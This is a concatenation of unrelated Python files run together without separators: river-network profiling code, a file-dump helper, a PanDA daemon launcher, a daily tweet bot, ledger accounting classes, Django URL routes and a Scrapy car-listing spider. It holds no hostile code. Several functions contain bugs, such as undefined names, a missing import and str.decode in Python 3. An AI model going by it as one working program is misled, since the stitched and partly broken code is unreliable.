#! /usr/local/env python

# 06 May 2018
# ADW

import numpy as np
from scipy.interpolate import interp1d
import warnings

class Segment(object):

    def __init__(self, _id, to_ids=None, segment_type='stream',
                 direction='to_downstream'):
        """
        A segment of a stream, between tributary junctions;
        ID of the stream should be an integer >0
        """
        self.id = int(_id)
        self.to_ids = np.array([to_ids]).astype(int)
        self.x = None
        self.z = None
        self.XP = None
        self.B = None
        self.z_smoothed = None
        self.channel_flow_accumulation = None
        self.channel_slope = None
        self.channel_flow_accumulation_smoothed = None
        self.channel_slope_smoothed = None
        #self.E = None
        #self.N = None
        self.target_dx_downstream = None
        self.segment_type = segment_type
        self.allowed_segment_types = ['stream',
                                      'lake']
        self.direction = direction
        self.from_ids = []

        if self.id == 0:
            warnings.warn('ID of 0 by default indicates offmap flow')

    ###########
    # SETTERS #
    ###########

    def set_x(self, x):
        """
        Set distances downstream
        x can be overwritten with the network
        x_local stays local
        """
        self.x = np.array(x)
        self.x_local = self.x.copy()

    def set_z(self, z):
        """
        Set elevation
        """
        self.z = np.array(z)

    def set_XP(self, XP):
        """
        Set cross-sectional elevation profile; from this, the at-channel
        valley width can always be determined.
        """
        self.XP = XP

    def set_B(self, B):
        """
        Set valley width at the elevation of the channel.
        Just a scalar value at each downstream position
        """
        self.B = B

    def set_B_from_XP(self):
        """
        Use the elevation and cross-sectional profile to set the width
        of the channel
        """
        # Something with interpolation
        # Look at TerraPIN for how this may work
        pass

    def set_type(self, segment_type):
        if segment_type in self.allowed_segment_types:
            self.segment_type = segment_type
        else:
            warnings.warn('Segment type not valid: please choose one of'+
                         ', '.join(a))

    def set_Q(self, Q):
        """
        Set discharge with distance downstream
        """
        self.Q = Q

    def set_A(self, A):
        """
        Set drainage area with distance downstream
        """
        self.A = A

    def set_target_dx_downstream(self, target_dx_downstream):
        """
        Set spacing between points in a downstream direction
        This will almost certainly not divide evenly into the length of a
        stream segment, and will therefore be used as the target distance
        between nodes, which will be adjusted for an integer number of
        divisible distances using np.ceil
        """
        self.target_dx_downstream = target_dx_downstream

    def set_fromids(self, from_id):
        """
        Set the ID of the stream from which
        """
        self.from_ids = from_id

    def append_fromids(self, from_id):
        """
        Set the ID of the stream from which
        """
        self.from_ids.append(from_id)

    #def set_E(self, E):
    #    """
    #    Set easting of points
    #    """
    #    self.E = E

    #def set_N(self, N):
    #    """
    #    Set northing of points
    #    """
    #    self.N = N

    def set_EastingNorthing(self, ENarray=None, Easting=None, Northing=None):
        """
        Set Northing and Easting at once
        """
        if ENarray is not None:
            self.EastingNorthing = np.array(ENarray)
            self.Easting = self.EastingNorthing[:,0]
            self.Northing = self.EastingNorthing[:,1]
        elif (Easting is not None) and (Northing is not None):
            self.Easting = Easting
            self.Northing = Northing
        else:
            warnings.warn("Improper inputs")

    def calc_x_from_EastingNorthing(self):
        """
        Calculate downstream distances from Easting and Northing, relative
        only to the individual segment
        """
        if (self.Easting is not None) and (self.Northing is not None):
            dx = ( np.diff(self.Easting)**2 + np.diff(self.Northing)**2 )**.5
            self.x = np.hstack((0., np.cumsum(dx)))
            self.x_local = self.x.copy()
        else:
            warnings.warn("Both Easting and Northing must be defined")

    def densify_x_E_N(self):
        """
        Especially if E, N, are taken only at vertices, there can be a
        signficant lack of resolution in the network. This seeks to densify
        the network based on a target downstream dx.

        This will not preserve points at the coordinates of all of the corners
        of the fluvial network. It will create backups of the original grid
        to do this. It could be reprogrammed to optionally preserve these
        corners.

        Run this after calc_x_from_EastingNorthing and set_target_dx_downstream
        """
        if self.target_dx_downstream is None:
            warnings.warn("Nothing will be done; run set_target_dx_downstream")
        elif (self.Easting is None) or (self.Northing is None):
            warnings.warn("Nothing will be done; Set Easting and Northing")
        elif self.x_local is None:
            warnings.warn("Nothing will be done; Set x (and x_local)")
        else:
            # Backup original
            self.Easting_original = self.Easting.copy()
            self.Northing_original = self.Northing.copy()
            self.x_local_original = self.x_local.copy()
            ixE = interp1d(self.x_local_original, self.Easting_original)
            ixN = interp1d(self.x_local_original, self.Northing_original)
            #print self.Easting[-1], self.Northing[-1]
            # +1 because it includes the bookends
            # Ceil instead of round for short segments
            nx = np.ceil( ( np.max(self.x_local) - np.min(self.x_local) )
                            / self.target_dx_downstream ) + 1.
            self.x_local = np.linspace( np.min(self.x_local_original),
                                        np.max(self.x_local_original),
                                        nx )
            self.Easting = ixE(self.x_local)
            self.Northing = ixN(self.x_local)
            self.EastingNorthing = \
                 np.vstack((self.Easting, self.Northing)).transpose()

class BoundingBox(object):
    """
    Easily define a bounding box around your data source, padded to include
    the raster grid cells (if these are important)
    """
    def __init__(self, points_xy=None):
        points = np.array(points_xy)
        self.west = np.min(points[:,0])
        self.east = np.max(points[:,0])
        self.south = np.min(points[:,1])
        self.north = np.max(points[:,1])

class Network(object):

    def __init__(self, segment_list, downstream_x=0., offmap_id=0):
        """
        Tools to build a river network
        Downstream_x = the x-value or values for the offmap cell(s);
        they default to 0 and will be expanded to a list in this case
        offmap_id is the ID given to offmap segments (to_id = offmap_id if a
        segment flows offmap). This defaults to 0 following GRASS GIS
        convention.
        """
        self.segment_list = np.array(segment_list)
        # Convenient info to have in lists
        # identifiers and connections
        self.ids = []
        self.to_ids = []
        for segment in self.segment_list:
            self.ids.append(segment.id)
            self.to_ids.append(segment.to_ids)
        self.ids = np.array(self.ids)
        #self.to_ids = np.array(self.to_ids)
        self.offmap_id = offmap_id # 0 default following GRASS GIS
        # Get ID of downstream-most segment
        # Is downstream-most if "tosegment" is not in the list
        for segment in self.segment_list:
            if np.sum(self.ids == segment.to_ids[0][0]) == 0:
                self.downstream_most_id = segment.id
                break
        self.downstream_x = downstream_x

    def compute_fromstreams(self):
        """
        Compute IDs of flow contributors to each segment.
        This will be redundant with to_id, from which it is derived, but
        will also be convenient.
        """
        for segment in self.segment_list:
            from_ids = []
            for _i in range(len(self.to_ids)):
                if (self.to_ids[_i] == segment.id).any():
                    from_ids.append(self.ids[_i])
            segment.set_fromids(from_ids)

    def segments_xy_flattened(self):
        """
        Return all points in segments, flattened into a single Numpy array
        """
        allpoints = []
        for segment in self.segment_list:
            allpoints.append(segment.EastingNorthing)
        return np.vstack(allpoints)

    def get_bounding_box(self):
        """
        Produces a bounding box in
        """
        allpoints = segments_xy_flattened(self)
        self.BoundingBox = BoundingBox(allpoints)

    def get_segment_ids(self):
        """
        Create a list of all segment IDs
        """
        self.ids = []
        for segment in self.segment_list:
            self.ids.append(segment.id)
        self.ids = np.array(self.ids)

    def get_to_segment_ids(self):
        """
        Create a list of all segment IDs
        """
        self.to_ids = []
        for segment in self.segment_list:
            self.to_ids.append(segment.to_ids)
        self.to_ids_flattened = np.squeeze(np.hstack(self.to_ids))

    def compute_offmap_segments(self):
        """
        get list of all segments that flow offmap
        """
        self.get_segment_ids()
        self.offmap_segments = []
        # With the below, we can probbaly just ditch this top part of code
        for segment in self.segment_list:
            if segment.to_ids == 0:
                self.offmap_segments.append(segment.id)
        # More robust -- see which ones do not go to an on-map segment
        for segment in self.segment_list:
            if len([i for i in segment.to_ids if i in self.ids]) == 0:
                self.offmap_segments.append(segment.id)

    def compute_headwater_segments(self):
        """
        get list of segments that are at the headwaters of a drainage network
        (or the one that is the upstream-most in the case in which an
        upstream-most segment was defined)
        """
        self.get_to_segment_ids()
        self.headwater_segments = []
        for segment in self.segment_list:
            if segment.id not in self.to_ids_flattened:
                self.headwater_segments.append(segment.id)

    def set_hierarchy_order(self):
        """
        Get IDs in order going upstream.
        Helps with calculating distance downstream
        """
        self.get_to_segment_ids()
        self.hierarchy_ids = []
        _ids = [self.downstream_most_id]
        while(len(_ids) > 0):
            self.hierarchy_ids.append(_ids)
            __ids = []
            for _id in _ids:
                __ids.append(self.ids[self.to_ids_flattened == _id])
            __ids = np.hstack(__ids)
            _ids = list(__ids)

    def compute_x_in_network(self, overlapping_termini=True):
        """
        Get distance along each stream path
        * Straightforward for downstream at map resolution
        * For upstream, need to march through tributary network to
          obtain connectivity, and then turn this into a set of distances
        * For reduced resolution (for compute time): need to keep track of
          endpoints from initial survey
        "Ovelapping termini" means that the nodes between each segment are
        shared among adjacent segments

        Can move from bottom up in all cases.
        """

        self.overlapping_termini = overlapping_termini
        self.compute_offmap_segments()
        self.set_hierarchy_order()

        # This is ordered from downstream to upstream
        for _id_list in self.hierarchy_ids:
            for _id in _id_list:
                segment = self.segment_list[self.ids == _id][0]
                # Will break in a branching network
                downstream_segment_id = int(segment.to_ids)
                downstream_segment = self.segment_list[self.ids ==
                                                       downstream_segment_id]
                if len(downstream_segment) == 0:
                    x_downstream = self.downstream_x
                elif len(downstream_segment) > 1:
                    sys.exit("Downstream-branching network: not supported!")
                else:
                    downstream_segment = downstream_segment[0]
                    x_downstream = downstream_segment.x[0]
                segment.x = segment.x_local - segment.x_local[-1] \
                                + x_downstream

    #def interpolate_xEN_in_network(self):

    def compute_downstream_paths_from_headwaters(self):
        """
        Non-parsimonious: every full long profile
        """
        self.headwaters_segment_ids = []
        for _id in self.ids:
            if _id not in self.to_ids:
                self.headwaters_segment_ids.append(_id)
        self.downstream_paths_from_headwaters = []
        for _hwid in self.headwaters_segment_ids:
            pathlist = []
            segment_list = self.segment_list[self.ids == _hwid]
            while len(segment_list) == 1:
                segment = segment_list[0]
                pathlist.append(segment.id)
                segment_list = self.segment_list[self.ids ==
                                                  int(segment.to_ids)]
            self.downstream_paths_from_headwaters.append(pathlist)

    def compute_index_per_point_from_headwaters(self):
        self.index_per_point_from_headwaters = []
        for _id_list in self.downstream_paths_from_headwaters:
            tmplist = []
            for _id in _id_list:
                segment = self.segment_list[self.ids == _id][0]
                tmplist += [segment.id] * len(segment.x)
            self.index_per_point_from_headwaters.append(np.array(tmplist))

    def compute_x_from_headwaters(self):
        self.x_from_headwaters = []
        for _id_list in self.downstream_paths_from_headwaters:
            tmplist = []
            for _id in _id_list:
                segment = self.segment_list[self.ids == _id][0]
                tmplist += list(segment.x)
            self.x_from_headwaters.append(np.array(tmplist))

    def compute_z_from_headwaters(self):
        self.z_from_headwaters = []
        for _id_list in self.downstream_paths_from_headwaters:
            tmplist = []
            for _id in _id_list:
                segment = self.segment_list[self.ids == _id][0]
                tmplist += list(segment.z)
            self.z_from_headwaters.append(np.array(tmplist))

    def compute_slope_from_headwaters(self):
        self.slope_from_headwaters = []
        # NEED SETTER!
        for _id_list in self.downstream_paths_from_headwaters:
            tmplist = []
            for _id in _id_list:
                segment = self.segment_list[self.ids == _id][0]
                tmplist += list(segment.channel_slope)
            self.slope_from_headwaters.append(np.array(tmplist))

    def compute_accum_from_headwaters(self):
        self.accum_from_headwaters = []
        # NEED SETTER!
        for _id_list in self.downstream_paths_from_headwaters:
            tmplist = []
            for _id in _id_list:
                segment = self.segment_list[self.ids == _id][0]
                tmplist += list(segment.channel_flow_accumulation)
            self.accum_from_headwaters.append(np.array(tmplist))

    def smooth_from_headwaters(self, var):
        #var = self.z_from_headwaters
        _y_smoothed = []
        for i in range(len(var)):
            _y_smoothed.append( np.array(self.moving_average(
                            self.x_from_headwaters[i], var[i], self.window)) )
        return _y_smoothed

    def moving_average(self, _x, _y, window):
        """
        Create a moving average at every point over a distance of window/2
        """
        _x = np.array(_x)
        _y = np.array(_y)
        out_y = []
        for _xi in _x:
            out_y.append( np.mean(_y[ (_x < _xi + window/2.) *
                                      (_x > _xi - window/2.) ]))
        return out_y
        #return out_x, out_y

    def smooth_window(self, window):
        """
        Smoothes using a moving window
        written as a sketch here
        """
        self.window = window
        self.compute_downstream_paths_from_headwaters()
        self.compute_index_per_point_from_headwaters()
        self.compute_x_from_headwaters()

        try:
            self.compute_z_from_headwaters()
            _sfh = self.smooth_from_headwaters(self.z_from_headwaters)
            for segment in self.segment_list:
                tmp = []
                for i in range(len(_sfh)):
                    _path = _sfh[i]
                    _ipp = self.index_per_point_from_headwaters[i]
                    _append = _path[_ipp == segment.id]
                    if len(_append) > 0:
                        tmp.append(_append)
                # USE SETTER
                segment.z_smoothed = np.average(tmp, axis=0)
        except:
            pass
        try:
            self.compute_slope_from_headwaters()
            _sfh = self.smooth_from_headwaters(self.slope_from_headwaters)
            for segment in self.segment_list:
                tmp = []
                for i in range(len(_sfh)):
                    _path = _sfh[i]
                    _ipp = self.index_per_point_from_headwaters[i]
                    _append = _path[_ipp == segment.id]
                    if len(_append) > 0:
                        tmp.append(_append)
                # USE SETTER
                segment.channel_slope_smoothed = np.average(tmp, axis=0)
        except:
            pass
        try:
            self.compute_accum_from_headwaters()
            _sfh = self.smooth_from_headwaters(self.accum_from_headwaters)
            for segment in self.segment_list:
                tmp = []
                for i in range(len(_sfh)):
                    _path = _sfh[i]
                    _ipp = self.index_per_point_from_headwaters[i]
                    _append = _path[_ipp == segment.id]
                    if len(_append) > 0:
                        tmp.append(_append)
                # USE SETTER
                segment.channel_flow_accumulation_smoothed = \
                                               np.average(tmp, axis=0)
        except:
            pass

        # Average across all paths that include the segment

    def compute_profile_from_starting_segment(self):
        """
        Compute a single long profile from a starting river segment
        This code currently assumes that you have built the network from
        just a starting segment, and so doesn't walk downstream, but rather
        takes the segments in order. This could be easily fixed by checking
        the indices of the next river downstream.
        """
        outlist = []
        _zbarflag = False
        _Sflag = False
        _Sbarflag = False
        _Aflag = False
        _Abarflag = False
        header = ['id', 'E', 'N', 'x_downstream', 'z']
        segment = self.segment_list[0] # All should have the same parameters
        if segment.z_smoothed is not None:
            header.append('z_avg')
            _zbarflag = True
        if segment.channel_slope is not None:
            header.append('S')
            _Sflag = True
        if segment.channel_slope_smoothed is not None:
            header.append('S_avg')
            _Sbarflag = True
        if segment.channel_flow_accumulation is not None:
            header.append('Accum')
            _Aflag = True
        if segment.channel_flow_accumulation_smoothed is not None:
            header.append('Accum_avg')
            _Abarflag = True
        for segment in self.segment_list:
            # Seems a clunky way to do this
            for i in range(len(segment.z)):
                #print [segment.x[i], segment.Easting[i], segment.Northing[i], segment.z[i]]
                _out_i = [int(segment.id), \
                          segment.x[i], segment.Easting[i], \
                          segment.Northing[i], segment.z[i]]
                if _zbarflag:
                    _out_i.append(segment.z_smoothed[i])
                if _Sflag:
                    _out_i.append(segment.channel_slope[i])
                if _Sbarflag:
                    _out_i.append(segment.channel_slope_smoothed[i])
                if _Aflag:
                    _out_i.append(segment.channel_flow_accumulation[i])
                if _Abarflag:
                    _out_i.append(segment.channel_flow_accumulation_smoothed[i])
                outlist.append(_out_i)
        self.long_profile_header = header
        self.long_profile_output = outlist


# -*- coding: utf-8 -*-

"""
redbrick.utils
~~~~~~~~~~~~~~~~

This module provides utility functions that are used within redbrick
that are also useful for external consumption.
"""

import sys
if sys.version_info[0] < 3:
    from io import open

def dump_to_file(path_to_file, text, encoding=None):
    """Dumps text to file.

    :param path_to_file: str, combination of a directory path and a filename to dump
    :param text: str, text to dump, unicode is supported
    :param encoding: str, encoding of dump file, default value is 'utf-8'
    """
    if encoding is None:
        encoding = 'utf-8'
    if text is None:
        text = ''
    if isinstance(text, str):
        text = text.decode(encoding)
    with open(path_to_file, mode='w', encoding=encoding) as f:
        f.write(text)


import os
import sys
import pwd
import grp
import time
import signal
import argparse
import datetime
import multiprocessing

import daemon

from pandaatm.atmconfig import atm_config

# master class of ATM which runs the main process
class AtmMaster(object):

    # constructor
    def __init__(self):
        pass

    # spawn a proc to have own file descriptors
    def launcher(self, moduleName, *args, **kwargs):
        # import module
        mod = __import__(moduleName)
        for subModuleName in moduleName.split('.')[1:]:
            mod = getattr(mod, subModuleName)
        # launch
        timeNow = datetime.datetime.utcnow()
        print("{0} {1}: INFO    start {2} with pid={3}".format(str(timeNow),
                                                               moduleName,
                                                               'launcher',
                                                               os.getpid()))
        mod.launcher(*args, **kwargs)

    # convert config parameters
    def convParams(self,itemStr):
        items = itemStr.split(':')
        newItems = []
        for item in items:
            if item == '':
                newItems.append(None)
            elif ',' in item:
                newItems.append(item.split(','))
            else:
                try:
                    newItems.append(int(item))
                except Exception:
                    newItems.append(item)
        return newItems

    # main process
    def start(self):
        # the list of agent processes
        procList = []
        # setup agents
        # for agent_type in something: # FIXME
        #     for agent_each in agent_type: # FIXME
        #         for i_proc in range(n_proc): # FIXME
        #             parent_conn, child_conn = multiprocessing.Pipe()
        #             proc = multiprocessing.Process(name=some_name, target=self.launcher, args=some_args_tuple)
        #             proc.start()
        #             procList.append(proc)
        # slow_task_analyzer agent
        parent_conn, child_conn = multiprocessing.Pipe()
        proc = multiprocessing.Process(name='slow_task_analyzer', target=self.launcher, args=('pandaatm.atmbody.slow_task_analyzer',))
        proc.start()
        procList.append(proc)
        # testing agent
        # parent_conn, child_conn = multiprocessing.Pipe()
        # proc = multiprocessing.Process(name='testing_agent', target=self.launcher, args=('pandaatm.atmbody.testing_agent',))
        # proc.start()
        # procList.append(proc)
        # check initial failures
        time.sleep(5)
        for proc in procList:
            if not proc.is_alive():
                timeNow = datetime.datetime.utcnow()
                print('{0} {1}: ERROR  name={2}, pid={3} died in startup'.format(
                                                                            str(timeNow),
                                                                            self.__class__.__name__,
                                                                            proc.name,
                                                                            proc.pid))
                os.killpg(os.getpgrp(), signal.SIGKILL)
        # join
        for proc in procList:
            proc.join()

# kill whole process
def catch_sig(sig,frame):
    # kill
    os.killpg(os.getpgrp(),signal.SIGKILL)

# main
if __name__ == "__main__":
    # parse option
    parser = argparse.ArgumentParser(prog='atm-master', add_help=True)
    parser.add_argument('--pid', action='store', dest='pid', default=None, help='pid filename')
    arguments = parser.parse_args()
    uid = pwd.getpwnam(atm_config.master.uname).pw_uid
    gid = grp.getgrnam(atm_config.master.gname).gr_gid
    timeNow = datetime.datetime.utcnow()
    print("{0} AtmMaster: INFO    start".format(str(timeNow)))
    # make daemon context
    dc = daemon.DaemonContext(stdout=sys.stdout,
                              stderr=sys.stderr,
                              uid=uid,
                              gid=gid)
    with dc:
        # record PID
        with open(arguments.pid, 'w') as pidFile:
            pidFile.write('{0}'.format(os.getpid()))
        # set handler
        signal.signal(signal.SIGINT, catch_sig)
        signal.signal(signal.SIGHUP, catch_sig)
        signal.signal(signal.SIGTERM, catch_sig)
        # start master
        master = AtmMaster()
        master.start()


import tweepy
from os import getenv
from dotenv import load_dotenv
import time

load_dotenv()

api_key = getenv("API_KEY")
api_key_secret = getenv("API_KEY_SECRET")
access_token = getenv("ACCESS_TOKEN")
access_token_secret = getenv("ACCESS_TOKEN_SECRET")

def api():
    auth = tweepy.OAuthHandler(api_key, api_key_secret)
    auth.set_access_token(access_token, access_token_secret)

    return tweepy.API(auth)

def tweet(api, message, image_path):
    api.update_status_with_media(message, image_path)

api = api()
while(True):
    tweet(api, "Thakkali 🍅", r"tomoto.jpg")
    print("bot posted a pic")
    time.sleep(86400)


from dataclasses import dataclass, asdict
from typing import List, Dict
from abc import ABC, abstractmethod
from copy import copy
import datetime

import pandas as pd

from ledger import PandasLedger
from utils import convert_date_string_to_period

class JournalBalanceError(Exception):
    pass

# TODO add previous and next period and NullPeriod
@dataclass
class Period:
    period: int
    date_start: datetime.datetime
    date_end: datetime.datetime

@dataclass
class NewPrepayment:
    amount: int
    nominal: str
    period_start: int
    periods: int
    description: str
    description_recurring: str

@dataclass
class GLJournalLine:
    nominal: str
    description: str
    amount: int

@dataclass
class GLJournal:
    jnl_type: str
    transaction_date: datetime.datetime
    lines: List[GLJournalLine]

    @property
    def total(self) -> int:
        return sum(x.amount for x in self.lines)

def create_opposite_journal(journal: GLJournal) -> GLJournal:
    new_lines = []
    for line in journal.lines:
        new_line = copy(line)
        new_line.amount = new_line.amount * -1
        new_lines.append(new_line)

    new_journal = GLJournal(jnl_type=journal.jnl_type, lines=new_lines, transaction_date=journal.transaction_date)
    return new_journal

def create_prepayment_journal(new_prepayment: NewPrepayment, periods: Dict[int, Period]) -> List[GLJournal]:
    jnls = []

    period = new_prepayment.period_start
    date = periods[period].date_start

    release_amount = int(new_prepayment.amount / new_prepayment.periods)
    balancing_amount = new_prepayment.amount - release_amount * new_prepayment.periods

    jnl = GLJournal(
        jnl_type="ppmt",
        transaction_date=date,
        lines=[
            GLJournalLine(nominal="prepayments", amount=new_prepayment.amount, description=new_prepayment.description),
            GLJournalLine(
                nominal=new_prepayment.nominal, amount=-new_prepayment.amount, description=new_prepayment.description
            ),
        ],
    )
    jnls.append(jnl)

    for i in range(new_prepayment.periods):
        period += 1
        date = periods[period].date_start
        if i != 0:
            amount = release_amount
        else:
            amount = release_amount + balancing_amount

        jnl = GLJournal(
            jnl_type="ppmt",
            transaction_date=date,
            lines=[
                GLJournalLine(nominal="prepayments", amount=-amount, description=new_prepayment.description_recurring),
                GLJournalLine(
                    nominal=new_prepayment.nominal, amount=amount, description=new_prepayment.description_recurring
                ),
            ],
        )
        jnls.append(jnl)

    return jnls

@dataclass
class GeneralLedgerTransaction:
    transaction_id: int
    jnl_id: int
    nominal: str
    jnl_type: str
    amount: int
    description: str
    transaction_date: str
    period: int

class GeneralLedgerTransactions(PandasLedger):
    def __init__(self) -> None:
        self.columns = [
            "transaction_id",
            "jnl_id",
            "jnl_type",
            "transaction_date",
            "period",
            "nominal",
            "amount",
            "description",
        ]
        self.df = pd.DataFrame(columns=self.columns)
        return

    def get_next_journal_id(self) -> int:
        try:
            next_id = int(self.df["jnl_id"].max()) + 1
        except ValueError:
            return 0
        return next_id

    def add_journal(self, journal: GLJournal) -> List[int]:
        if journal.total != 0:
            print(journal)
            raise JournalBalanceError(f"Journal does not balance: {journal.total}")
        # TODO This is a dev only assert
        assert isinstance(journal.transaction_date, datetime.datetime)
        period = convert_date_string_to_period(journal.transaction_date)
        df = pd.DataFrame([asdict(x) for x in journal.lines])
        df["jnl_type"] = journal.jnl_type
        df["jnl_id"] = self.get_next_journal_id()
        # TODO Period should be supplied with journal
        df["period"] = period
        df["transaction_date"] = journal.transaction_date
        transaction_ids = self.append(df)
        return transaction_ids

    def list_transactions(self) -> List[GeneralLedgerTransaction]:
        return [GeneralLedgerTransaction(**x) for x in self.df.to_dict("records")]

    @property
    def balance(self) -> int:
        return self.df["amount"].sum()

    @property
    def balances(self) -> Dict[str, int]:
        data = self.df[["nominal", "amount"]].groupby(["nominal"]).sum().to_dict()["amount"]
        return data

@dataclass
class NewNominal:
    name: str
    statement: str
    heading: str
    expected_sign: str
    control_account: bool
    bank_account: bool

@dataclass
class Nominal:
    name: str
    statement: str
    heading: str
    expected_sign: str
    control_account: bool
    bank_account: bool

# TODO don't allow same nominal to be added more than once
class ChartOfAccounts(ABC):
    @abstractmethod
    def add_nominal(self, nominal: NewNominal) -> None:
        """Add a new nominal account to Chart Of Accounts."""

    @property
    @abstractmethod
    def nominals(self) -> List[Nominal]:
        """"""

class InMemoryChartOfAccounts(ChartOfAccounts):
    def __init__(self) -> None:
        self._nominals: Nominal = []
        return

    def add_nominal(self, nominal: NewNominal) -> None:
        self._nominals.append(Nominal(**asdict(nominal)))
        return

    @property
    def nominals(self) -> List[Nominal]:
        return [x for x in self._nominals]

class GeneralLedger:
    def __init__(self, ledger: GeneralLedgerTransactions, chart_of_accounts: ChartOfAccounts):
        self.ledger = ledger
        self.chart_of_accounts = chart_of_accounts
        self.periods = {
            1: Period(period=1, date_start=datetime.datetime(2021, 1, 1), date_end=datetime.datetime(2021, 1, 31)),
            2: Period(period=2, date_start=datetime.datetime(2021, 2, 1), date_end=datetime.datetime(2021, 2, 28)),
            3: Period(period=3, date_start=datetime.datetime(2021, 3, 1), date_end=datetime.datetime(2021, 3, 31)),
            4: Period(period=4, date_start=datetime.datetime(2021, 4, 1), date_end=datetime.datetime(2021, 4, 30)),
            5: Period(period=5, date_start=datetime.datetime(2021, 5, 1), date_end=datetime.datetime(2021, 5, 31)),
            6: Period(period=6, date_start=datetime.datetime(2021, 6, 1), date_end=datetime.datetime(2021, 6, 30)),
            7: Period(period=7, date_start=datetime.datetime(2021, 7, 1), date_end=datetime.datetime(2021, 7, 31)),
            8: Period(period=8, date_start=datetime.datetime(2021, 8, 1), date_end=datetime.datetime(2021, 8, 31)),
            9: Period(period=9, date_start=datetime.datetime(2021, 9, 1), date_end=datetime.datetime(2021, 9, 30)),
            10: Period(period=10, date_start=datetime.datetime(2021, 10, 1), date_end=datetime.datetime(2021, 10, 31)),
            11: Period(period=11, date_start=datetime.datetime(2021, 11, 1), date_end=datetime.datetime(2021, 11, 30)),
            12: Period(period=12, date_start=datetime.datetime(2021, 12, 1), date_end=datetime.datetime(2021, 12, 31)),
        }
        return

    def add_journal(self, journal: GLJournal) -> List[int]:
        """Wrapper around self.ledger.add_journal, allow interaction with other GeneralLedger attributes."""
        # TODO store journals in self.journal_ledger
        # TODO meta items such as reversing journal creation
        transaction_ids = self.ledger.add_journal(journal)
        if journal.jnl_type.endswith("_rev"):
            rev_journal = create_opposite_journal(journal)
            # TODO hack to shift period, need to use self.periods
            period = journal.transaction_date.month
            # TODO what about period that doesn't exist?
            date_start = self.periods[period + 1].date_start
            rev_journal.transaction_date = date_start
            self.ledger.add_journal(rev_journal)
        return transaction_ids


from unicodedata import name
from django.contrib import admin
from django.urls import path, re_path, include
from mycmu import views
from django.conf import settings
from django.conf.urls.static import static

urlpatterns = [
    path("login", views.login_action, name="login"),
    # course
    path("course", views.course_action, name='course'),
    path("course/<id>", views.course_action_by_id, name='course_action_by_id'),
    # course post
    path("course_post", views.course_post_action, name='course_post_action'),
    path("course_post/<id>", views.course_post_action_by_postid,
         name='course_post_action_by_postid'),

    # course post comment
    path("course_post_comment_by_postid/<id>", views.course_post_comment_action_by_postid,
         name="course_post_comment_action_by_postid"),
    path("course_post_comment_by_commentid/<id>", views.course_post_comment_action_by_commentid,
         name="course_post_comment_action_by_commentid"),

    # career post
    path("career_post_search", views.career_post_search, name='career_post_search'),
    path("career_post", views.career_post_action, name='career_post_action'),
    path("career_post/<id>", views.career_post_action_by_postid,
         name='career_post_action_by_postid'),

    # career post comment
    path("career_post_comment_by_postid/<id>", views.career_post_comment_action_by_postid,
         name="career_post_comment_action_by_postid"),
    path("career_post_comment_by_commentid/<id>", views.career_post_comment_action_by_commentid,
         name="career_post_comment_action_by_commentid"),

    # views.profile_action handles POST request on
    path("profile/<username>", views.profile_action, name='profile'),

    # message
    path("messages/<id>", views.messages_action, name='messages_action'),
    path("send_message/<id>", views.send_message_action, name='send_message'),
    path("delete_message/<id>", views.delete_message_action, name='delete_message'),

    # following posts
    path("follow_course_post", views.get_follow_course_post_action,
         name='get_follow_course_post'),
    path("follow_career_post", views.get_follow_career_post_action,
         name='get_follow_career_post'),

]

# imp for what you want to achieve.
urlpatterns += static(settings.STATIC_URL, document_root=settings.MEDIA_ROOT)


import scrapy
from scrapy.spiders import CrawlSpider, Rule
from scrapy.linkextractors import LinkExtractor
from ..items import MotorflashItem

class MotorflashSpider(CrawlSpider):
    BASE_URL = "https://www.motorflash.com"
    name = 'motorflash'
    allowed_domains = ['motorflash.com']
    start_urls = [
        'https://www.motorflash.com/coches-de-segunda_mano/'
    ]

    rules = (
        # Paginacion
        Rule(LinkExtractor(
            allow=r'/10p'
        ), follow=True),

        # Detalle de coches
        Rule(LinkExtractor(
            allow='/coche-de-segunda_mano/'
        ), follow=True, callback='parse_coche'
        ),
    )

    # def parse(self, response):
    #     links = response.css("h2 a").xpath("@href").extract()
    #     print(links)
    #     for link in links:
    #         absolute_url = self.BASE_URL + link
    #         yield scrapy.Request(absolute_url, callback=self.parse_coche)

    def parse_coche(self, response):
        # print(response.xpath('//h1[@class="textBorder"]/text()').extract())
        items = MotorflashItem()

        items["modelo"] = response.xpath('//*[@id="content"]/section/div/div[2]/h1/text()').extract_first()
        items["descripcion"] = response.xpath('//*[@id="content"]/section/div/div[2]/h1/span[1]/text()').extract_first()
        items["precio_oferta"] = response.xpath('//*[@id="content"]/section/div/div[2]/div[4]/div/div[2]/div[1]/div/h3/span/text()').extract_first()
        items["precio_nuevo"] = response.xpath('//*[@id="content"]/section/div/div[2]/div[4]/div/div[2]/div[2]/div/dl/dd[1]/strong/text()').extract_first()
        items["imagen"] = response.xpath('//*[@id="gallery"]/div[6]/div/picture/source/source/@data-srcset').extract()

        anunciante = response.xpath('//*[@id="ancla-galeria"]/div[3]/div[1]/div/p/a/text()').extract_first()
        if len(anunciante) == 0:
            anunciante = response.xpath('//*[@id="ancla-galeria"]/div[3]/p/a/text()').extract_first()

        items["anunciante"] = anunciante

        # print(response.xpath('//*[@id="ancla-galeria"]/div[3]/p/a/text()').extract())
        # print(response.xpath('//*[@id="ancla-galeria"]/div[3]/div[1]/div/p/a/text()').extract())

        for element in response.xpath('//*[@id="ancla-generales"]/div/div/ul/li'):
            # print(valor)
            # print(element.xpath('li/span/b/text()').extract())
            nombre = element.css('li span b::text').extract_first()
            valor = element.css('li span strong::text').extract_first()
            if nombre == "Combustible":
                items["combustible"] = valor
            elif nombre == "Kilómetros":
                items["kilometros"] = valor
            # elif nombre == "Potencia":
            #     items["potencia"] = valor
            elif nombre == "Color":
                items["color"] = valor
            elif nombre == "Matriculación":
                items["matriculacion"] = valor
            elif nombre == "Color Tapicería":
                items["color_tap"] = valor
            elif nombre == "Plazas":
                items["plazas"] = valor
            elif nombre == "Ubicación":
                items["ubicacion"] = valor
            # elif nombre == "Cambio":
            #     items["cambio"] = valor
            elif nombre == "Garantía":
                items["garantia"] = valor
            # elif nombre == "Puertas":
            #     items["puertas"] = valor
            elif nombre == "Consumo":
                items["consumo"] = valor

        for element in response.xpath('//*[@id="ancla-extra"]/div/div/ul/li'):
            # print(valor)
            # print(element.xpath('li/span/b/text()').extract())
            nombre = element.css('li span b::text').extract_first()
            valor = element.css('li span strong::text').extract_first()
            if nombre == "Altura":
                items["altura"] = valor
            elif nombre == "Anchura":
                items["anchura"] = valor
            elif nombre == "Longitud":
                items["longitud"] = valor
            elif nombre == "Capacidad maletero":
                items["cap_maletero"] = valor
